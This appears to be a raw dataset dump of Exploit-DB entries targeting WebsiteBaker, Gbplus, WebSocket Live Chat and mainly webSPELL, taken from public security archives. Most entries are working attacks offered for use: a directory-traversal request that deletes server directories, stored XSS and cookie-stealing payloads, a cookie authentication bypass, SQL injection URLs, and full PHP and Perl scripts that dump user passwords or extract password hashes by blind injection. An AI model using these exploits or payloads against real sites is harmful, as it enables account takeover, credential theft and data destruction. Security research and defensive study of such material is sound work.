deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51554
Description: WebsiteBaker v2.13.3 - Directory Traversal
Type: webapps
Platform: php
Date: 2023-07-03
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: WebsiteBaker v2.13.3 - Directory Traversal
Application: WebsiteBaker
Version: 2.13.3
Bugs:  Directory Traversal
Technology: PHP
Vendor URL: https://websitebaker.org/pages/en/home.php
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
Date of found: 26.06.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
=======================================

arbitary directory deleting

GET /admin/media/delete.php?dir=/../../../../../..//var/www&id=a838b6ebe8ba43a0 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/admin/media/browse.php?dir=/../../../../../..//var/www
Cookie: PHPSESSID-WB-6e6c39=bvnampsc5ji2drm439ph49143c; klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Exploit-DB #51553
Description: WebsiteBaker v2.13.3 - Stored XSS
Type: webapps
Platform: php
Date: 2023-07-03
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: WebsiteBaker v2.13.3 - Stored XSS
Application: WebsiteBaker
Version: 2.13.3
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://websitebaker.org/pages/en/home.php
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
Date of found: 26.06.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1. login to account
2. go to media
3. upload svg file

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""
4. go to svg file (http://localhost/media/malas.svg)
Exploit-DB #34541
Description: WebsiteKit Gbplus - 'Name' / 'Body' HTML Injection
Type: webapps
Platform: php
Date: 2010-08-29
Author: MiND

Exploit:
source: https://www.securityfocus.com/bid/42842/info

Gbplus is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 


Inject the following data into the vulnerable fields:

<meta http-equiv="refresh" content="0;url=http://www.example.com/" />
Exploit-DB #44686
Description: WebSocket Live Chat - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-22
Author: Alireza Norkazemi

Exploit:
# Exploit Title: WebSocket Live Chat - Cross-Site Scripting
# Date: 2018-05-22
# Exploit Author: Alireza Norkazemi
# Vendor Homepage: https://codecanyon.net/item/websocket-live-chat-instant-messaging-php/16545798?s_rank=1
 
# POC :
1) Create your account and click setting icon and go to profile
2) Put this payload into Status box :
<script>alert('xss')</script>
3) The payload will be executed if someone opens your profile
Exploit-DB #7653
Description: webSPELL 4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-03
Author: anonymous

Exploit:
#Webspell Login Bypass
#Found by: h0yt3r
#
##
#Checklogin.php Line 60:
#
#        setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));
#        $login = 1;
#
##
#_functions.php Line 253:
#
#        $login_per_cookie = false;
#        if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {
#         $login_per_cookie = true;
#         $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
#        }
##
#src/login.php:
#
#        global $userID, $loggedin;
#
#        $userID = 0;
#        $loggedin=false;
#
#        if(isset($_SESSION['ws_auth'])) {
#          if(stristr($_SESSION['ws_auth'], "userid")===FALSE){
#            $authent = explode(":", $_SESSION['ws_auth']);
#            $ws_user = sprintf('%u', $authent[0]);
#
#            // ws_pwd must be a string without spaces and with a maximum length of 32       <- ???
#                  $ws_[CREDENTIAL_REDACTED](str_replace(' ', '', $authent[1]), 0, 32);
#
#                  if(isset($ws_user) AND isset($ws_pwd)) {
#
#                $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'");
#
#                          while($ds=mysql_fetch_array($check)) {
#                      $loggedin=true;
#                            $userID=$ds['userID'];
#                    }
#                }
#                } else die();
#        }
#        ?>
#
#
####

// ws_pwd must be a string without spaces and with a maximum length of 32
                 $ws_[CREDENTIAL_REDACTED](str_replace(' ', '', $authent[1]), 0, 32);

Wuta fuck is dis crap?!
$_COOKIE['ws_auth'] can be exploited by somting like dis:
1:'or/**/1=1/**/limit/**/0,1#   (# <- is a comment, dont forget...)
And btw:
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
So dont foget to delete teh session...
Bad thing: Only works wit magic_quotes == off

But they got some function:
#_functions.php:74
#function sql_quote($value) {
#
#    if( get_magic_quotes_gpc() )    {
#        $value = stripslashes( $value );
#    }
#    if( function_exists( "mysql_real_escape_string" ) ) {
#        $value = mysql_real_escape_string( $value );
#    }
#    else
#    {
#        $value = addslashes( $value );
#        }
#    return $value;
#}
And why in the world isnt it used?!

~END~

# milw0rm.com [2009-01-03]
Exploit-DB #1498
Description: webSPELL 4.01 - 'title_op' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-14
Author: x128

Exploit:
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooo webspell 4.01 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php webspell-401-exploit.php [url] [prefix]\n";
    echo "oo proxy support  $ php webspell-401-exploit.php [url] [prefix] [proxy]:[port]\n";
    echo "oo example        $ php webspell-401-exploit.php http://localhost webs_\n";
    echo "oo open the file webspell_pw.html - there you find the passwords of all users\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 13/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?site=search&action=search";
    $xss_http_post = "table=news&title1=9a39b0c5e6849658e30d1432a308103d&title_op=UNION SELECT 1, 1, 1, 1, username, `password`, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 FROM ". $_SERVER['argv'][2] ."user/*";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_POST, 1);
    curl_setopt ($xss_connection, CURLOPT_POSTFIELDS, $xss_http_post);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("webspell_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-14]
Exploit-DB #2568
Description: webSPELL 4.01.01 - 'getsquad' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-15
Author: Kiba

Exploit:
 # WebSPELL <= 4.01.01 (getsquad) Remote SQL Injection Exploit
 # by: Kiba

 #EXPLOIT:
 http://[PAGE]/[PATH]/index.php?site=squads&getsquad=Where+1=0+Union+Select+1,1,username,1,password,1+from+[PREFIX]_user/*

 #REPLACE:
 (if the website is http://yourwebsite.de/webspell/index.php)
 [PAGE]  with  "yourwebsite.de"
 [PATH]  with  "webspell" (if there is no subdirectory then remove it)
 [PREFIX] the Prefix of the database tables (try "webs_user")

 # Have FUN

# milw0rm.com [2006-10-15]
Exploit-DB #2352
Description: webSPELL 4.01.01 - Database Backup Download
Type: webapps
Platform: php
Date: 2006-09-12
Author: Trex

Exploit:
# WebSPELL <= 4.01.01 Accessible Database Backup Download Exploit
# Discovered by: Trex
# Visit: www.SecuritySector.org / www.UnderGround.ag

# Exploit:
http://[SITE]/[PATH]/admin/database.php?action=write&userID=1

# Solution:
http://cms.webspell.org/index.php?site=files&file=15

# milw0rm.com [2006-09-12]
Exploit-DB #7657
Description: webSPELL 4.01.02 - 'id' Remote Edit Topics
Type: webapps
Platform: php
Date: 2009-01-04
Author: StAkeR

Exploit:
+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+
|  webSPELL <= 4.01.02 (id) Remote Edit Topics Vulnerability  |      Note       |
+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+=--=--=--=--=--=-+
| discovered by athos - staker[at]hotmail[dot]it              | magic quotes 0  |       
| download on http://wesbpell.org                             | enjoy your aids |
+=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=+--=--=--=--=--=-=+
| Exploit                                                                       |
| index.php?site=forum_topic&topic=[ID]&edit=true&id=1/**/%27/**/OR/**/1=1/*    |
| index.php?site=forum_topic&topic=1&edit=true&id=1/**/%27/**/OR/**/1=1/*       |
+=--=--=--=--=--+--=--=--=--=--=--=--=--=--=--=--=--=--=--=--+-=--=--=--=--=--=+
                | http://www.youtube.com/watch?v=SY1SwqLOC3c |
                +--=--=--=--=--=--=--=--=--=--=--=--=--=--=--+

# milw0rm.com [2009-01-04]
Exploit-DB #3673
Description: WebSPELL 4.01.02 - 'picture.php' File Disclosure
Type: webapps
Platform: php
Date: 2007-04-05
Author: Trex

Exploit:
# WebSPELL <= 4.01.02 (picture.php) Remote File Disclosure Vulnerability
# Discovered by: Trex
# Visit: www.Trex-Online.net / www.UnderGround.ag
# Comment: Happy easter!
#
#   ___     ___
#  /   \   /   \       ___________________________
# /   / \_/ \   \     /                           \
# \__/\     /\__/    /  GIVE ME A CARROT OR I WILL \
#      \O O/         \      BLOW UP YOUR HOUSE     /
#   ___/ ^ \___      / ___________________________/
#      \___/        /_/
#      _/ \_
#   __//   \\__
#  /___\/_\/___\
#
#
#
# Vulnerability 1:
# Advantage: works independently from PHP version.
# Disadvantage: works dependently from PHP option register_globals (= on).
#
# http://[SITE][PAHT]/picture.php?file=[FILE]
#
#
#
# Vulnerability 2:
# Advantage: works independently from PHP option register_globals.
# Disadvantage: works dependently from PHP versions (< 4.3.0).
#
# http://[SITE][PAHT]/picture.php?id=../../../[FILE]%00
#
#
#
# Solution:
# http://fixes.trex-online.net/picture.rar

# milw0rm.com [2007-04-05]
Exploit-DB #3325
Description: webSPELL 4.01.02 - 'showonly' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-02-16
Author: DNX

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "\n                           \\#'#/                       ";
  print "\n                           (-.-)                        ";
  print "\n   -------------------oOO---(_)---OOo-------------------";
  print "\n   | webSPELL v4.01.02 (showonly) Remote SQL Injection |";
  print "\n   |      (works only with register_globals = on)      |";
  print "\n   |                   coded by DNX                    |";
  print "\n   -----------------------------------------------------";
  print "\n[!] Bug: in news.php line 601 \$showonly is unquoted, so u can inject sql code";
  print "\n[!] Solution: install security fix";
  print "\n[!] Usage: perl ws.pl [Host] [Path] <Options>";
  print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user";
  print "\n[!] Options:";
  print "\n       -i [no]       User-ID, default is 1";
  print "\n       -t [name]     Changed the user table name, default is webs_user";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = "webs_user";
my %options = ();
GetOptions(\%options, "i=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"i"})
{
  $user = $options{"i"};
}

if($options{"t"})
{
  $table = $options{"t"};
}

syswrite(STDOUT, "[!] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found && $h <= 57)
  {
    if(istrue2($host, $path, $table, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found && $h <= 122)
    {
      if(istrue2($host, $path, $table, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[!] Exploit done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent->new;
  my $url = "http://".$host.$path."index.php?site=news&showonly=%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")";
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  my $regexp = "Author";
  
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2007-02-16]
Exploit-DB #3351
Description: webSPELL 4.01.02 - 'topic' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-21
Author: DNX

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[2])
{
  print "\n                           \\#'#/                       ";
  print "\n                           (-.-)                        ";
  print "\n   -------------------oOO---(_)---OOo-------------------";
  print "\n   | webSPELL <= v4.01.02 (topic) Remote SQL Injection |";
  print "\n   |                   coded by DNX                    |";
  print "\n   -----------------------------------------------------";
  print "\n[!] Bug: in printview.php line 61, inject sql code in \$topic";
  print "\n[!] Solution: install security fix";
  print "\n[!] Usage: perl ws.pl [Host] [Path] [Topic] <Options>";
  print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -tid 1 -uid 2 -t my_user";
  print "\n[!] Options:";
  print "\n       -tid [no]     Valid topic-ID";
  print "\n       -uid [no]     User-ID, default is 1";
  print "\n       -t [name]     Changed the user table name, default is webs_user";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = "webs_user";
my $topic   = 0;
my %options = ();
GetOptions(\%options, "tid=i", "uid=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"tid"})
{
  $topic = $options{"tid"};
}
else
{
  print "[!] Exploit failed, missing parameter\n";
  exit;
}

if($options{"uid"})
{
  $user = $options{"uid"};
}

if($options{"t"})
{
  $table = $options{"t"};
}

syswrite(STDOUT, "[!] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found && $h <= 57)
  {
    if(istrue3($host, $path, $table, $topic, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found && $h <= 122)
    {
      if(istrue3($host, $path, $table, $topic, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[!] Exploit done\n";

sub istrue3
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $tid   = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent->new;
  my $url = "http://".$host.$path."printview.php?board=1&topic=".$tid."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  my $regexp = "<b>Main Board</b>";
  
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2007-02-21]
Exploit-DB #30858
Description: webSPELL 4.1.2 - 'calendar.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-10
Author: Brainhead

Exploit:
source: https://www.securityfocus.com/bid/26787/info
 
webSPELL is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
webSPELL 4.01.02 is affected; other versions may also be vulnerable. 

http://www.example.com/[PATH]/index.php?site=calendar&action=announce&upID=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&tag=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&month=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&userID=">[your code]
http://www.example.com/[PATH]/index.php?site=calendar&action=announce&year=">[your code]
Exploit-DB #31416
Description: webSPELL 4.1.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-18
Author: n3w7u

Exploit:
source: https://www.securityfocus.com/bid/28294/info

webSPELL is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

webSPELL 4.01.02 is vulnerable; other versions may also be affected.

http://www.example.com/path/index.php?site=forum&board=">[XSS]
Exploit-DB #30857
Description: webSPELL 4.1.2 - 'usergallery.php?galleryID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-10
Author: Brainhead

Exploit:
source: https://www.securityfocus.com/bid/26787/info

webSPELL is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

webSPELL 4.01.02 is affected; other versions may also be vulnerable. 

http://www.example.com/[PATH]/index.php?site=usergallery&action=upload&galleryID=">[your code]
Exploit-DB #31079
Description: webSPELL 4.1.2 - 'whoisonline.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-30
Author: NBBN

Exploit:
source: https://www.securityfocus.com/bid/27517/info

webSPELL is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

webSPELL 4.01.02 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?site=whoisonline&sort=">[xss code]
Exploit-DB #15151
Description: Webspell 4.2.1 - 'asearch.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-29
Author: silent vapor

Exploit:
################# INFORMATION ##################################################
+Name : webspell 4.2.1 asearch.php SQL Injection Vulnerability
+Author : silent vapor
+Date   : 29.09.2010
+Script  : webspell 4.2.1
+Price : free
+Language :PHP
+Discovered by silent vapor
+Underground Agents
+Greetz to Team-Internet, 4004-Security-Project, Easy Laster
################################################################################

+Vulnerability : http://localhost/webspell/asearch.php?site=search&table=user&
column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=

+Exploitable   : http://localhost/webspell/asearch.php?site=search&table=user&
column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=
admin%2527%20UNION+/**/+SELECT%201,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM
%20ws_2lu_user%20WHERE%20%25271%2527=%25271

################################################################################
Exploit-DB #35643
Description: webSPELL 4.2.2a - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-19
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47500/info

webSPELL is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

webSPELL 4.2.2a is affected; other versions may also be vulnerable. 


http://www.example.com/index.php?site=newsletter&pass=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/index.php?site=messenger&action=touser&touser=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/admin/admincenter.php?site=users&action=addtoclan&id=1&page=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/admin/admincenter.php?site=squads&action=edit&squadID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://www.example.com/admin/admincenter.php?site=contact&action=edit&contactID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E